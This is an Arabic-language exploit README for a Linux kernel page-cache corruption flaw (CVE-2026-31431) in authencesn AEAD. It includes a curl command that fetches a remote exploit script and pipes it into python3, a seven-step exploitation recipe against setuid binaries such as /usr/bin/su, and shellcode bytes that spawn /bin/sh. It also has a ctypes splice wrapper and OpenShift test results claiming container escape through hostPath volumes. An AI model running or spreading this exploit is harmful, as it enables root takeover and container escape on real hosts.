
استغلال لثغرة CVE-2026-31431 في نواة لينكس تسبب تلفًا في ذاكرة التخزين المؤقت للصفحات عبر التلاعب بـ authencesn AEAD، مستهدفةً تصعيد الامتيازات في الحاويات وبيئات OpenShift.
تلف ذاكرة التخزين المؤقت للصفحات في نواة لينكس عبر معالجة authencesn AEAD.
بعد اختبارات مكثفة على مجموعات متعددة من OpenShift 4.20.16 مع أنوية RHEL 9.6:
راجع قسم نتائج الاختبار الشاملة للحصول على التفاصيل الكاملة.
CVE-2026-31431 هي ثغرة في نواة لينكس في تطبيق التشفير authencesn AEAD تسمح للعمليات غير المميزة بتلف ذاكرة التخزين المؤقت للصفحات للملفات القابلة للقراءة عبر مقابس AF_ALG ومعالجة استدعاء النظام splice().
تُظهر الاختبارات: تلف ذاكرة التخزين المؤقت للصفحات يعمل بشكل موثوق، لكن تصعيد الامتيازات لا يحدث على أنوية RHEL 9.6 في بيئات الاختبار لدينا.
درجة CVSS: 7.8 (عالية)
المتأثر: إصدارات نواة لينكس مع دعم authencesn (2017-2026)
الإفصاح العام: 29 أبريل 2026
splice() عبر ctypes/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### من ملف محلي```bash
python3 exploit.py
su
ما الذي سيحدث:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**التحقق من ذاكرة التخزين المؤقت للصفحات (يؤكد التلف):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
ما الذي لن يحدث (بناءً على الاختبارات):```bash
su
id -u
**الخلاصة:** نجاح تلف ذاكرة التخزين المؤقت للصفحات، لكن فشل تصعيد الامتيازات.
## التفاصيل الفنية
### الثغرة
تنفيذ `authencesn` (التشفير المصادق مع البيانات المرتبطة - رقم التسلسل الموسع) في نواة لينكس يحتوي على خلل في معالجة العمليات في المكان (in-place). عند معالجة عمليات AEAD المُرسلة عبر مقبس AF_ALG، يمكن أن تنتهي صفحة من ذاكرة التخزين المؤقت للصفحات في قائمة التشتت (scatterlist) القابلة للكتابة الخاصة بالنواة.
### تقنية الاستغلال
1. **إنشاء مقبس AF_ALG** مع `authencesn(hmac(sha256),cbc(aes))`
2. **تكوين معاملات AEAD** (المفتاح، حجم المصادقة)
3. **فتح ملف ثنائي setuid مستهدف** (مثل `/usr/bin/su`)
4. **استخدام splice()** لإدخال الملف الثنائي إلى ذاكرة التخزين المؤقت للصفحات
5. **تشغيل عملية AEAD في المكان** مما يسبب الكتابة إلى ذاكرة التخزين المؤقت للصفحات
6. **كتابة الشيلكود** 4 بايتات في كل مرة
7. **تنفيذ الملف الثنائي المعدل** للحصول على صلاحيات الجذر
### الشيلكود
يستخدم الاستغلال شيلكود بحجم 160 بايت يقوم بتعديل `/usr/bin/su` من أجل:
- تخطي مصادقة كلمة المرور
- منح وصول إلى شل بصلاحيات الجذر
- الحفاظ على الوظائف الطبيعية للمستخدمين غير المميزين
## التوافق مع بايثون 3.9
لا تتوفر دالة `os.splice()` في المكتبة القياسية لبايثون 3.9 والإصدارات الأقدم. يتضمن هذا الاستغلال تنفيذًا قائمًا على ctypes:```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
هذا يجعل الاستغلال يعمل على:
تكوين العقدة:
نتائج الاختبار:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### بيئة الاختبار 2: مجموعة OpenShift جديدة (اختبار التحقق)
**المجموعة:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**تكوين العقدة:**
- النواة: 5.14.0-570.96.1.el9_6.x86_64 (مطابقة لاختبار 1)
- OpenShift: 4.20.16
- SCC: restricted-v2 (تم التحقق)
- UID: 1000810000 (مساحة اسم المستخدم)
- القدرات: 0x0000000000000000 (صفر)
**نتائج الاختبار:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
الاتساق: نتائج قابلة لإعادة الإنتاج بنسبة 100% عبر مجموعات مستقلة
السيناريو أ: مع وحدة تخزين hostPath (الهروب من الحاوية ممكن)```yaml volumes:
نتيجة: ✅ **هروب الحاوية** - يعدّل ذاكرة التخزين المؤقت لصفحات المضيف (الجهاز 33، العقدة 4288)
**السيناريو ب: Restricted-v2 SCC (بدون hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
النتيجة: ❌ لا يوجد هروب من الحاوية - يؤثر فقط على طبقة الحاوية (inode منفصل)
النتيجة الحاسمة: الوصول إلى hostPath (وليس الصلاحيات) هو العامل المحدد للهروب من الحاوية.
التفسيرات المحتملة (تتطلب مزيدًا من البحث):
مسارات القراءة مقابل التنفيذ
mmap(PROT_READ)mmap(PROT_EXEC) قد تتجاوز ذاكرة التخزين المؤقت التالفةحمايات الذاكرة
خاص بإصدار النواة
| الاختبار | OpenShift 4.20 #1 | OpenShift 4.20 #2 | الحالة |
|---|---|---|---|
| الوصول إلى مقبس AF_ALG | ✅ | ✅ | يعمل |
| تلف ذاكرة التخزين المؤقت للصفحات | ✅ | ✅ | يعمل |
| حقن شيلكود | ✅ | ✅ | يعمل |
| الشيلكود مرئي (READ) | ✅ | ✅ | يعمل |
| تغيير UID (تصعيد الصلاحيات) | ❌ | ❌ | يفشل |
| تنفيذ الكود | ❌ | ❌ | يفشل |
| الهروب من الحاوية (restricted-v2) | ❌ | ❌ | محظور |